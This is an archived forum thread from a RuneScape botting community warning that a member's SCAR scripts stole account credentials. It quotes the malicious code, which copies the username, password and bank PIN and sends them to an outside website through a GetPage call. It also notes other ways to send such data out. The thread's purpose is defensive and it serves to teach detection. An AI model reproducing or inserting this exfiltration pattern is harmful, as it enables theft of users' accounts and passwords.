SRL Archive - General Botting Help

Recently an SRL Member "IROKI" has found to be password stealing,
(Good Catch BobboHobbo)
So if you have used one of his scripts recently change all your passwords that are the same as your runescape one, if your email is the same it is of great importance that you change this as this can be used to find all your passwords.

Ok so when a script is used to steal passwords it sends the passwords to a website.

There are multiple methods of this

1. Using GetPage

2. Using Plugins (this way is almost undetectable)


1. Using GetPage

This was used recently by Iroki
Procedure DeclarePlayers;

Begin
  HowManyPlayers := 1;
  NumberOfPlayers(HowManyPlayers);
  CurrentPlayer := 0;

  Players[0].Name         := '';      // Your UserName
  Players[0].Pass         := '';      // Your PassWord
  Players[0].Nick         := '';      // Your Nick (3-4 letters from your username)
  Players[0].Active       := True;    // Use this player ??
  Players[0].Skill        := 'Prayer';  // Skill to lamp
  Players[0].Strings[0]   := '';      // Your BankPin
  Players[0].Strings[1]   := 'Adamant';      // What kind of bars you want to smelt ( Bronze, Iron, Silver, Steel, Gold, Mithril, Adamant, Rune, CballsFO, CballsFB )

  Code[0] := '';
  Code[1] := '';
  verKey  := '';
End;

There we can see that you enter some your char info and some other info
nothing wrong with that.

However combined with

Begin
  If (Code[0] = '') Or (Code[1] = '') Or (verKey = '') Then
  Begin
    Code[0] := Players[CurrentPlayer].Name;
    Code[1] := Players[CurrentPlayer].Pass;
    verKey  := Players[CurrentPlayer].Strings[0];
  End;
  For i := 1 To Coding Do
  Begin
    Code[0] := CodeNow(Code[0]);
    Code[1] := CodeNow(Code[1]);
  End;
End;

Here we see that the codes and verification key are changed to the account details =O, in all honesty there is nothing wrong with that eithen tho its unnecessary, so if you see this be very suspicious if your still not sure ASK better safe than sorry.

Now the part that should make you worried.

GetPage('http://www.iroki.cba.pl/stats.php?tresc=Code[0]=' + Code[0] + '+Code[1]=' + Code[1] + '+verKey=' + verKey + '+&CreateSessionIDverKey+');

Here they are sending code[0] code[1] and verkey to a website which earlier we learned was changed to your account details.

Get/PostHTTPPage/Ex can also be used instead of GetPage (Thanks Mixster)

If you see this be wary.

Don't use it if it you see this.


Thanks Mixster for stuff below

Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.

Plugin's have the advantage over not asking for permission to access a webpage but are still tracked in the same way of checking every use of username and password as they still have to be input into a procedure/function to send the info into the plugin.

Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.
The only way to be 100% sure a script won't steal your details is to follow the scripts logic and see where it uses your username and password. Every method can be stopped that way.

From: Waddo
2. Using Plugins (this way is almost undetectable)

Don't give people ideas <_>

Credits on who found it pl0x :p

Nah jks. Should be easy to make a script to scan for password thrieft. Ill make one soon :P.

not that i am planning to make one (which i definatly will not) how to you make it do it through plugins?

if you dont want to tell me then you dont have to

~shut

Lol I have no idea I was hoping some one would tell me something about hem so I could add it I'm obviously not going to put how to tho.

I think mixster knows.

maybe all scripts should be vetted before they get posted? or make someone on the forums in charge pf checking scripts?

Yes i've thought of that and id be happy to do it but there are alot of scripts released and scripts can be edited pretty easy so it wouldn't work

hmm… Iroki… Can't remember him :s

anyways, it should be easy to screw his password-stealing-script by just setting Code[0] to ' ', as the internet does not allows spaces (they use %20 as spaces)

actually setting it to anything would work as it only changes to acount details if they leave blank =p

True :D

Quote:
Originally Posted by Waddo
2. Using Plugins (this way is almost undetectable)

Don't give people ideas <_>

Rofl! Smart son of a…. Ill keep an eye for them.

This is a very good thread cause I heard about Iroki and im sure there is going to be a lot of copycats out there that have no respect for others accounts. Good Job

When mods have to accept script to get them posted, they could also look through for code optimization etc etc

There are roles of moderators, and admins, so why couldn't we have some people, like said above, check scripts for their code, that could be called 'Script Anaylers' or something along those line. They could have a green name colour, also.

*makes a plugin!*
*implants it in scars main plugin folder for new scar release*
*h4x every one I hate*

i think there should be a script submitence jus like the SRL member application so we can scan scripts befor we give them the go ahead i think that will almost certain to stop em

but then every new version would have to be checked if it got re relaseled!


I uniofficlay make waddo a script checker, as your always on here!

Please have srl staff review scripts before anyone uses them (more than 2 staffs) Now that one was caught I bet there will be more.

Checking every script takes ages and is pointless considering there have only been a couple of incidences.
Plugin's only have the advantage over not asking for permission to access a webpage but are still tracked in the same way of checking every use of username and password as they still have to be input into a procedure/function to send the info into the plugin.
Lastly, Get/PostHTTPPage/Ex are the other ways to use it that is more easy to spot while going through the script, but harder to notice in popups as it simply has ?POST? or ?GET? at the end of the URL.
The only way to be 100% sure a script won't steal your details is to follow the scripts logic and see where it uses your username and password. Every method can be stopped that way.
Edit:
R0b0t1, the advisor, says: 'No'

No one every script being searched. How about this, you quit being leechers, learn to script and search it yourself.

Myles + everyone else who thinks we should check all the scripts

It takes 20 seconds to edit a script and repost,
If there was a filter then that would mean that when a script was posted it would be held in some storage and could possibly lag up the forums checking each script is a bad idea I would do it if i was asked, i have a lot of free time.

Eithen in the free for all section the admins only check once then you can edit how you please.

From: Waddo
Myles + everyone else who thinks we should check all the scripts

It takes 20 seconds to edit a script and repost,
If there was a filter then that would mean that when a script was posted it would be held in some storage and could possibly lag up the forums checking each script is a bad idea I would do it if i was asked, i have a lot of free time.

Eithen in the free for all section the admins only check once then you can edit how you please.

When did I say I supported it?

Waddo: This has happened only a couple of times and is completely unnecessary. Checking each and every script is the same as the governments of the world deciding that every person should be strip searched before entering every building. If it was a common thing, then I would agree that some form of pre-approval would be needed, but it isn't common at all. It would just waste a lot of time in the long run with minimal results.

Mixster that is what im saying Read godarn it read.

From: waddo
checking each script is a bad idea

and Myles i have no idea why i said you :confused: my mistake =p

You posted earlier saying you would like it though pointed out it wouldn't work, so I thought this was your suggestion to fixing that - mainly because I found it very hard and still do to understand your post and all I could extract from it was your suggestion for a script storage area where it would have to be pre-approved and that you wouldn't mind doing it.

I wouldnt mind help doing it if it came to that but it wont as it will do no good especially when people make to or 3 mistakes and re upload in an hour 3 times

Stickied

Woah, Thanks Hobbit, Second sticky.

Thanks Mixster for your input.

I'm glad someone posted this, I heard about this guy and how he was stealing passwords.

When in doubt, it'd be good if you just voiced your concern – theres no harm done, as its not an outright accusation.

Also, I'd like everyone to note that the stealer only gets about one or two accounts before they're intercepted. Although we can't repay those people, we can at least make sure we discourage account stealing as unprofitable compared to the money you make autoing from using SRL (theres other reasons, but this is the only one account stealers look at).


I'd also like to suggest that we find a way to ban an IP from the SVN, is that possible? I mean, if he tries to come back. He can decide himself if he wants to learn to set up Tor or pay extra for a dynamic IP.

I just suggest the if you don't know how to read over scripts and see if it is a password scamming script, just use a well-known script (you know like one with lots of progress reports and the thread has lots of pages =p)

Wow why didn't I figure that out myself…..

From: jose89
I just suggest the if you don't know how to read over scripts and see if it is a password scamming script, just use a well-known script (you know like one with lots of progress reports and the thread has lots of pages =p)

Thats the problem – iroki was an SRL member, and his scripts were very good. Too bad he didn't realize how easy it is to track, or how hard it is to transfer items anymore.

Someone mentioned a script scanner , could someone not make one and if you are un-sure of a script scan it yourself instead of waisting other peoples time ?

Thanks I will start looking through scripts to make sure no one steals my pass.

theres no need to scan thouroughly through every script as most scripters oon srl are actually good people and have lives so really its only when idiots like iroki come around we should start worrying and i thought his was the only password stealing script out there whos else is?

Thanks, my acc was stolen because of PC bot, it worked but really slow (4points in 2hours) :D

TY i am new to this and the first script i got had a keylogger in i cant remember whos it was but now i will no :D

Erm if it had a keylogger in then you didnt get it from here
unless you downloaded the keylogger script which is a keylogger and nothing else
i dont think there are any harmful keylogger scripts written in scar

Just wondering, are there any cases where a script could LEGITLY try to get a page?

Thanks for this man, now I check every script I use! +rep for ya!

I like the script idea.

why doesn't someone make a program that scans a script and gives it out to the community therefore we can scan it ourslef without making other check it and if someone doesn't scan it then tough luck for them.

Leather Cock~

as it is not that easy because there many ways to disgiuse it

thanks. it helped alot =)

iroki…
FUCK YOU!

From: kensaurus
iroki…
FUCK YOU!

calm down dear :p

iroki may have done the wrong thing but he has been banned and thats the end of him
soo… please dont swear :redface:

~shut

if you didnt have 261 post count id say you where trying t get your post count up
but either way stop spamming if you dont have anythink usefull/funny/worthwhile saying dont say it at all

Thanks.. will look for these items when using scripts

Thanks guys. Being new to SCAR, knowing stuff like this from the beginning is very useful.

ty 4 the tip

thanks, i think this will definetly help me :)

so many ty's yet so little rep nar im jk its good that it helped u

i dont think some1 checking would work at all because as you said with plugins its almost undetectable and it would just take people tyoo long to look through all the scripts made

its not for that
its basically for sythe there are very few hackers on here because we are trust worthy

Omg!! Willow cutter r steelz my password. I'm really new to this, hope it doesn't happen to me.

Thanks i have no idea about scripts myself i just use them now im going to copy and paste this so i know lol ta

ty verymuch for this info:eek: i only auto on my main, so i do need to know how to look out for this

I don't REALLY post to thank YOU, because I know that no one is really going to do anything new. I mean, no one is ACTUALLY gonig to check scripts for account stealing, people are just to lazy (from what I believe).

BUT! I do thank BH for being so god damn aware! Nice job bro!
Also I hope I did not sound like a bi*ch to you, I do appriciate you telling us about the subject matter, as I was clueless on what account stealing code would look like; but I am just trying to nicely say I highly doubt anyone will check scripts more than they have been before this thread was created.

great thanks

Interesting they would use their time on this, when really its quite sad, thanks for catching it

Well…using plugins…i have no idea about that one but if someone would change like SRL.scar to make it do a certain function when included to a script…that might work.So be careful on that one too…

Nice. almost got hacked… thanks ;)

From: jondyr
Nice. almost got hacked… thanks ;)

Which script almost hacked you? Report it immediately! If no script "almost hacked you", then that post (along with your others) are totally spam, which we here at SRL don't like!

Yay.. my paranoia increases

From: Fsoul
Yay.. my paranoia increases

In my time at SRL (two years) there have been TWO incidences of pass stealing ;)

exellent find. You save many new people to scar accounts on rs2

Thanks for the heads up:D

thanks!

thanks for posting this form saved my but :)

Oh god.. The stupidity… "Tyvm 4 savin mah accuntz!11!! almost got hackd" like wtf there was that one polish guy and mage of begu.. Only pass stealers out there. Spamspamspamspam.

ii didnt realise that it wouldnt be that obvious anyone could.. actually better not say it, might give people ideas! anyway, thanks for letting us know

thanks alot, this is exactly what i needed =)
now im gonna feel safer :P

Thanks, didn't know this

Great guide to find some hackers. But it's kinda stupid. Botters shouldn't hack botters…

I've never used an auto-er.
But, I'll be sure to look out for things like this since I am beginning.

Stealing people's accounts is lame anyway… What kind of loser wants to steal someon's account?

From: happyme
Just wondering, are there any cases where a script could LEGITLY try to get a page?

Yes, for checking versions (any script) and auths (pay scripts only). Also SRL Stats?


I have infracted a some of the recent, blatant spam. Let this be a lesson to you spammers.

From: Ruroken
Yes, for checking versions (any script) and auths (pay scripts only).

About this (offtopic):

Isn't it possible to just remove the auths if you have a script like that or is it obfuscated in some way..?

From: shynie
About this (offtopic):

Isn't it possible to just remove the auths if you have a script like that or is it obfuscated in some way..?

Its obfuscuated or encrypted. Or the author is about to get many copies of his script leaked :p

Hey thanks for the advise, i dont mean to be a nay sayer, but isn't this also teaching people how to make a Password stealing script?

From: strikerx25
Hey thanks for the advise, i dont mean to be a nay sayer, but isn't this also teaching people how to make a Password stealing script?

Ehh… I GUESS… but anyone who can script should know how to do this. Besides, its a fairly rare occurrence for two reasons:

1) Unknown scripters/members's scripts will be usually looked over to see the quality of the script. As you don't want to trust your accounts to a crap script. This is when they find the pass stealing bit.

2) Its rare that a trusted member will trade their position in SRL for some RS accounts. (This has happened like… 3 times in my 2 years here).

Thanks, helped a lot :)

Not that I wouldnt first check the entire script before filling in my pass somewhere, though :P

not sure if ill be able to catch this.. but thx for the tip

thnaks man

thanks for the update, i would have noticed after a while

Thank you! :D
Very much! :D

Would it be bad to send all accounts made (just the name) to a server to see the names? (although same thing could be done with SRLReport)

Thank you. Now I will make sure to check the Scripts so i cant get hacked. :D

I think i kinda get it…

great now i can see if i get scammed :D

Is it possible to delete a part of a script that looks like this?

Thank you for that info I have been scammed a long time ago.

Thanks for this, it's very helpful.

i've not used a scar script yet but now when i do atleast i know how to check if its safe :) thanks :)

Thanks for the help!!
goodpeople

omg thank you for showing me this i wouldnt of known thanks and good job you guys

Thanks for the info, this should help me keep my password safe. I know what to do now. :D

Thanks for the information. I had actually seen one of his scripts and contemplated getting it, but then I realized that his account was banned and thus decided not to dolwnload. Appreciate it.

-corn77

[QUOTE=Dan's The Man;439505]Don't give people ideas <_>

Agreed. :eek:

From: H0TSAUCE
Agreed. :eek:

You know that this topic has 8 mounths. Maybe you should post somethink useful??

Thanks for the heads up, never actually knew the these scripts could steal pws.

thanx a lot for this =D

Good…thats soo enoying

Wow Thanks, Im new to the forum and i would've been the perfect target if it weren't for this :)

Thanks a lot for the tip. Being that I'm new to all of this I might hold off from downloading/using any new programs until I am more familiar with the commands.

theolithical: don't worry you don't need to get so paranoid as to not use any scripts, besides we all know you're going to leech at first anyway :p, just playing. But if you are really worried, then just make sure smart, well respected people have posted on the thread, if they don't say anything about the script looking suspicious then you most likely have nothing to worry bout but not always. Just use caution, and also you could just use veyr popular scripts, or scripts from very well trusted people.

very helpful thz

Its not hard to see if theres a malicious code in scar scripts.
just look for http as u said, before you start it.

But the biggest problem if is someone encrypt the website into unreadable text, some kind of algorithm.
but I don't think there are so many elite haxors on here :D
So I suggest not to look for a guy saying "its clean no virus" on the forums, instead look through it, atleast a little.

And by the way, what anti virus you guys using?
Yes I know anti-virus wont detect scar scripts but I just wanted to know which one is the best, I currently use avast.

i tryed a script and it did basically the same thing and then it went to log and and it typed im really bo… witch i figured meant im really bogus ive ran into quite a few of these and i was wondering wat should i do now with my acount?

Alternatively, you can run this. Account Stealer Checker.

Thank's I'll keep it in mind for future use in scripts ;P
*Joking but Im not certain this was a good idea telling people :(*

thank you i appreciate you taking your time to protect me.

From: happyme
Just wondering, are there any cases where a script could LEGITLY try to get a page?

yeah,and like should i allow it to access internet?

Yes, of course. There's many cases.

GE price getting, version checking, etc.

This won't work seeing as it's easy to hide code in scripts if you know what you're doing, I did it with RCrB to hide the copyright debug notice, the only way to prevent this is to have a firewall that asks for every program in any instance to allow to not allow it to connect to the internet, in which case you can block/allow/monitor the information being sent or received through any outside connection.

I'm sorry to inform all of you, but this will only prevent you from being screwed from an obvious attempt and will waste a significant amount of time trying to read through code that won't help you necessarily.

Don't get me wrong, it's still a good idea but you should really tell people they are still at risk after doing this unless they have the correct firewall settings, because right now it's like a false positive feeling that you're 100% safe when there are many back doors and methods around this.

If you are a good coder, looking through the code is really the best option. You should be able to find the malicious code easily and remove it.

Also, why do you advertise RCrB every chance you can get?

Haha, some people don't feel like learning (like me) but i'll look out for this stuff. Thanks :P

I do look through the codes to make sure no one is stealing my pass :)
because I would hate to lose my account :mad:

hmmm..I might try this, joke. Thx for the warning :D

Thnx Waddo, ill keep an eye out for them.

Hey preventing Scar from accessing the internet could also be a preventive measure?
I think it would be a small but useful step, you?

THX i got one of my accounts hacked. it really sucks cuz i lost all my money!!!!!

AMSA no scars internet connection functions are one of the many things that make scar my favourite "Programing language" …getpage…drools :p

http://sythe.org/showthread.php?t=575068
script scanner made by cazax. includes virus scan of the .exe